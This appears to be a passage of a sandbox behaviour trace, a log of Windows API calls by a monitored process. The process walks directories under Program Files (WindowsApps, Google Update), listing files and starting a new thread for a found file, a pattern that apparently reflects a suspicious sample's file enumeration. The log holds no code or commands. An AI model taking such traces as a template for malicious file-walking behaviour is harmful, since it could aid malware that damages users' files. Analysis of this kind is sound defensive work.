	[0079.268] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0079.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d70140
	[0079.268] wcscpy (in: _Dest=0x2d70140, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.268] wcscat (in: _Dest=0x2d70140, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.268] wcscat (in: _Dest=0x2d70140, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0079.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164
	[0079.268] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0079.268] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a868) returned 1

Thread:
	id = 741
	os_tid = 0x1ac0

	[0079.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ecb20
	[0079.270] wcscpy (in: _Dest=0x47ecb20, _Source="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5") returned="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5"
	[0079.270] wcscat (in: _Dest=0x47ecb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\") returned="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\"
	[0079.270] wcscat (in: _Dest=0x47ecb20, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*"
	[0079.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.272] wcscmp (_String1=".", _String2=".") returned 0
	[0079.272] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.278] wcscmp (_String1="..", _String2=".") returned 1
	[0079.278] wcscmp (_String1="..", _String2="..") returned 0
	[0079.278] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler.exe", cAlternateFileName="GOOGLE~3.EXE")) returned 1
	[0079.278] wcscmp (_String1="GoogleCrashHandler.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleCrashHandler.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler64.exe", cAlternateFileName="GOOGLE~4.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleCrashHandler64.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleCrashHandler64.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdate.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdate.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateBroker.exe", cAlternateFileName="GO664E~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateBroker.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateBroker.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateComRegisterShell64.exe", cAlternateFileName="GOBD5D~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateComRegisterShell64.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateComRegisterShell64.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateCore.exe", cAlternateFileName="GOOGLE~2.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateCore.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateCore.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateHelper.msi", cAlternateFileName="GOOGLE~1.MSI")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateHelper.msi", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateHelper.msi", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateOnDemand.exe", cAlternateFileName="GOF5E2~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateOnDemand.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateOnDemand.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOFB2B~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateSetup.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateSetup.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateWebPlugin.exe", cAlternateFileName="GOF8A8~1.EXE")) returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateWebPlugin.exe", _String2=".") returned 1
	[0079.279] wcscmp (_String1="GoogleUpdateWebPlugin.exe", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1abe50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdate.dll", cAlternateFileName="")) returned 1
	[0079.279] wcscmp (_String1="goopdate.dll", _String2=".") returned 1
	[0079.279] wcscmp (_String1="goopdate.dll", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_am.dll", cAlternateFileName="GOOPDA~1.DLL")) returned 1
	[0079.279] wcscmp (_String1="goopdateres_am.dll", _String2=".") returned 1
	[0079.279] wcscmp (_String1="goopdateres_am.dll", _String2="..") returned 1
	[0079.279] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ar.dll", cAlternateFileName="GOOPDA~2.DLL")) returned 1
	[0079.279] wcscmp (_String1="goopdateres_ar.dll", _String2=".") returned 1
	[0079.279] wcscmp (_String1="goopdateres_ar.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bg.dll", cAlternateFileName="GOOPDA~3.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_bg.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_bg.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bn.dll", cAlternateFileName="GOOPDA~4.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_bn.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_bn.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ca.dll", cAlternateFileName="GO29C7~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_ca.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_ca.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_cs.dll", cAlternateFileName="GO58E6~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_cs.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_cs.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_da.dll", cAlternateFileName="GODC3A~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_da.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_da.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_de.dll", cAlternateFileName="GOAC0F~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_de.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_de.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_el.dll", cAlternateFileName="GO5382~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_el.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_el.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en-GB.dll", cAlternateFileName="GO5AC6~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_en-GB.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_en-GB.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en.dll", cAlternateFileName="GOB81A~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_en.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_en.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es-419.dll", cAlternateFileName="GOB840~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_es-419.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_es-419.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es.dll", cAlternateFileName="GOE1FA~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_es.dll", _String2=".") returned 1
	[0079.280] wcscmp (_String1="goopdateres_es.dll", _String2="..") returned 1
	[0079.280] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_et.dll", cAlternateFileName="GO372F~1.DLL")) returned 1
	[0079.280] wcscmp (_String1="goopdateres_et.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_et.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fa.dll", cAlternateFileName="GO664E~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_fa.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_fa.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fi.dll", cAlternateFileName="GOBE63~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_fi.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_fi.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fil.dll", cAlternateFileName="GOD7F9~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_fil.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_fil.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fr.dll", cAlternateFileName="GOB0D5~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_fr.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_fr.dll", _String2="..") returned 1
